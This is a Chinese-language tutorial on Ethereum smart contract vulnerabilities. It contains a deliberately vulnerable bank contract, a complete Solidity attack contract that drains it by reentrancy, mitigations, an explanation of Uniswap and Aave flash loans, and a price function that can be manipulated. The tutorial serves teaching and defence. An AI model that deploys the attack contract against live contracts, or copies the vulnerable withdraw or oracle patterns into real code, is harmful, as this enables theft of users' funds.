以太坊合约安全问题

Solidity常见漏洞类型

  • Reentrancy(重入攻击)
  • Integer Overflow and Underflow(整数溢出和下溢)
  • Access Contorl(访问控制)
  • Unchecked Return Values For Low Level Calls(未严格判断不安全函数调用返回值)
  • Denial of Service(拒绝服务)
  • Bad Randomness(随机数不安全)
  • Front Running(交易抢先)
  • Time Manipulation(时间篡改)
  • Short Address Attack(短地址攻击)

Reentrancy

发生可重入漏洞的条件:

  • 调用了外部的合约且该合约不安全
  • 外部合约的函数调用早于状态变量的修改

至于有关可重入中的交易函数和回退函数在另一篇博客有写

代码演示

漏洞代码如下,这段代码实现的是一个类似银行的合约,用户可以向 IDMoney 存储Ether,账户可以查询自己/他人在此合约的余额,同时也能通过 withdraw() 进行转账

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.10;

contract IDMoney {
address owner;
mapping (address => uint256) balances; // 记录每个打币者存入的资产情况

event withdrawLog(address, uint256);

function IDMoney() { owner = msg.sender; }
function deposit() payable { balances[msg.sender] += msg.value; }
function withdraw(address to, uint256 amount) {
require(balances[msg.sender] > amount);
require(this.balance > amount);

withdrawLog(to, amount); // 打印日志,方便观察 reentrancy

to.call.value(amount)(); // 使用 call.value()() 进行 ether 转币时,默认会发所有的 Gas 给外部
balances[msg.sender] -= amount;
}
function balanceOf() returns (uint256) { return balances[msg.sender]; }
function balanceOf(address addr) returns (uint256) { return balances[addr]; }
}

上述代码的问题在于转币的方法用的是 call.value()() 的方式,这种方法会将剩余的 GAS 全部给予外部调用( fallback 函数),而 sendtransfer 会有2300 GAS 的限制。

在进行Ether交易时目标地址是个合约地址,那么默认会调用该合约的 fallback 函数,如果该合约的 fallback 函数中又调用了 withdraw() 函数,那么就会将公共钱包合约里的Ether全部提出,造成可重入漏洞。

攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
contract Attack {
address owner;
address victim;

modifier ownerOnly { require(owner == msg.sender); _; }

function Attack() payable { owner = msg.sender; }

// 设置已部署的 IDMoney 合约实例地址
function setVictim(address target) ownerOnly { victim = target; }

// deposit Ether to IDMoney deployed
function step1(uint256 amount) ownerOnly payable {
if (this.balance > amount) {
victim.call.value(amount)(bytes4(keccak256("deposit()")));
}
}
// withdraw Ether from IDMoney deployed
function step2(uint256 amount) ownerOnly {
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
}
// selfdestruct, send all balance to owner
function stopAttack() ownerOnly {
selfdestruct(owner);
}

function startAttack(uint256 amount) ownerOnly {
step1(amount);
step2(amount / 2);
}

function () payable {
if (msg.sender == victim) {
// 再次尝试调用 IDCoin 的 sendCoin 函数,递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
}
}
}

解决方法

  • 使用其他交易函数
  • 先修改状态变量再进行转账
  • 使用互斥锁
    • 在代码执行过程中添加一个锁定合约的状态变量防止再次调用该函数
  • 使用OpenZeppelin的ReentrancyGuard库

攻击示例

重入漏洞之基本原理和复现

Flashloan attack

一个常见的闪电贷操作逻辑有四步,必须在同一个区块中完成:

  1. 发送交易请求,并上传智能合约
  2. 向协议发送代币
  3. 上传的智能合约使用代币交互
  4. 归还代币给协议

闪电贷平台

  • Aave:闪电贷的发明者和领导者
  • Uniswap:DeFi 中最受欢迎的去中心化交易所之一,包含V2和V3两个版本,V2版本带来一个新的功能叫做Flashswap(闪电兑)
  • Compound:一个去中心化的稳定币平台,支持 DAI 稳定币的发行和交易,提供闪电贷服务
  • MakerDAO
  • dYdX
  • Nuo
  • Fulcrum

Uniswap 闪电贷

在使用智能合约进行两个代币( token )之间的兑换时,首先需要发送 token 用于支付,然后会调用一个 swap() 函数,它将发送刚刚购买的 token

因为 Uniswap 的 swap() 函数模式是先转账再进行校验,所以第二步可以先将需要的代币借出后,第三步调用自己合约中的 uniswapV2Call() 函数进行其它操作,完成后第四步再将借的代币归还,完成闪电贷服务

Uniswap V2 有一个新功能叫做 Flashswap ,是 Uniswap 对闪电贷的称呼,这一功能集成在了 swap() 函数当中

上图172行就是用户预先部署的合约,170-171两行有两个转账函数,它是“乐观转账”(即不校验用户合约的余额是否有足够的资产偿还借款就直接转账)。在最后部分,调用完用户的合约之后,才进行 require 支付金额,如果 require 声明失败,则整个交易回滚

AAVE 闪电贷

AAVE 闪电贷功能是在 LendingPool.sol 合约中的 Flashloan 函数实现的

通过调用 Flashloan 函数,传入借贷的金额、代币类型、借贷地址等参数,执行过程中将代币转给接收地址后会调用接收地址的 executeOperation 函数,移至用户的合约中继续执行

用户的合约代码执行完毕,返回到 LendingPool.sol 合约中,该合约使用 require 语句检查用户合约返回的值,如果合约不能扣除其费用,则 require 声明失败,意味整个交易都将失败,也意味着“乐观转账”实际不会发生

Truffle box 可以使用Truffle模版快速创建自己的 flash-loan

AAVE 和 Uniswap 的一些不同之处在于还款的流程。AAVE 闪电贷的还款,是在完成闪电贷过程后,由 AAVE 合约将借用的钱和手续费从借款地址中转回。而 Uniswap 的还款是由用户调用 safeTransfer 进行手动转账

闪电贷攻击

闪电贷攻击的根本原因在于被攻击的项目的智能合约(尤其是价格预言机)存在漏洞,黑客利用了其中的漏洞完成攻击,而闪电贷只是提供了攻击的资金,降低了黑客攻击的成本

攻击类型:

  • 价格操控:攻击者可以使用闪电贷款通过人为地抬高或降低其价值来操纵加密货币的价格
  • 套利:攻击者可以通过使用闪电贷款执行套利交易来利用去中心化交易所之间的价格差异。虽然这种攻击不一定是恶意的,但它仍然会给合法交易者造成损失
  • 智能合约漏洞:攻击者可以使用闪贷来利用智能合约中的漏洞,例如重入错误或整数溢出错误。这可以让他们从协议中窃取资金或执行其他攻击

通过代币数量获取价格

1
2
3
4
5
6
7
function get_price() view public returns(uint256) {
uint256 price;
uint256 token_amount1 = IERC20(token1).balanceOf(address(pair));
uint256 token_amount2 = IERC20(token2).balanceOf(address(pair));
price = token_amount1*10**18 / token_amount2;
return price;
}

这段代码读取 pair 合约中的代币数量,将两者之商作为代币的价格

如果没有闪电贷,两种代币的数量一定是一个减少另一个就增加。但是有了闪电贷之后,可能发生一个代币减少,而另一种代币没有增加的情况。如果借出了巨额闪电贷,这个差价将被拉大,形成巨大套利空间

发放奖励

闪电贷攻击示例

闪电贷攻击的基本示例

闪电贷创建者工具

许多平台可以通过工具和API创建闪电贷